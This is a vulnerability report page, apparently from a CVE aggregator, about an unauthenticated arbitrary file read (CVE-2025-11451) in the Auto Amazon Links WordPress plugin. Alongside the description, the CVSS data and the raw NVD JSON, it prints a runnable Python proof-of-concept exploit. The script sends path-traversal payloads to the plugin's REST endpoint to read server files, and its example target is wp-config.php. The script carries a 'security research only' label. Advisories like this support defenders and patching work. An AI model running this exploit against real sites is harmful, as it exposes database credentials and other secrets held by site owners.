Security Vulnerability Report
中文
CVE-2025-11451 CVSS 7.5 HIGH

CVE-2025-11451

Published: 2025-11-11 04:15:41
Last Modified: 2026-04-15 00:35:42

Description

The Auto Amazon Links – Amazon Associates Affiliate Plugin plugin for WordPress is vulnerable to arbitrary files reads in all versions up to, and including, 5.4.3 via the '/wp-json/wp/v2/aal_ajax_unit_loading' RST API endpoint. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Auto Amazon Links plugin <= 5.4.3 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys def exploit_cve_2025_11451(target_url, file_path): """ CVE-2025-11451 - Arbitrary File Read in Amazon Auto Links Plugin Target: /wp-json/wp/v2/aal_ajax_unit_loading """ # Construct the vulnerable endpoint endpoint = f"{target_url}/wp-json/wp/v2/aal_ajax_unit_loading" # Prepare the payload with file path traversal payload = { 'aal_action': 'load_template', 'file_path': file_path, # e.g., ../../../../wp-config.php 'nonce': '' } headers = { 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: print(f"[*] Target: {target_url}") print(f"[*] Attempting to read: {file_path}") # Send POST request to REST API endpoint response = requests.post(endpoint, json=payload, headers=headers, timeout=30) if response.status_code == 200: print(f"[+] Request successful!") print(f"[+] Response:") print(response.text) else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <file_path>") print(f"Example: python {sys.argv[0]} http://example.com ../../../../wp-config.php") sys.exit(1) target = sys.argv[1] filepath = sys.argv[2] exploit_cve_2025_11451(target, filepath)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11451", "sourceIdentifier": "[email protected]", "published": "2025-11-11T04:15:41.433", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Auto Amazon Links – Amazon Associates Affiliate Plugin plugin for WordPress is vulnerable to arbitrary files reads in all versions up to, and including, 5.4.3 via the '/wp-json/wp/v2/aal_ajax_unit_loading' RST API endpoint. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-73"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/amazon-auto-links/trunk/include/core/component/unit/_common/option/template/AmazonAutoLinks_UnitOutput__TemplatePath.php", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/amazon-auto-links/trunk/include/core/component/unit/_common/output/_abstract/AmazonAutoLinks_UnitOutput_Base.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/568254a4-400d-45ea-8a96-1669b0694d70?source=cve", "source": "[email protected]"}]}}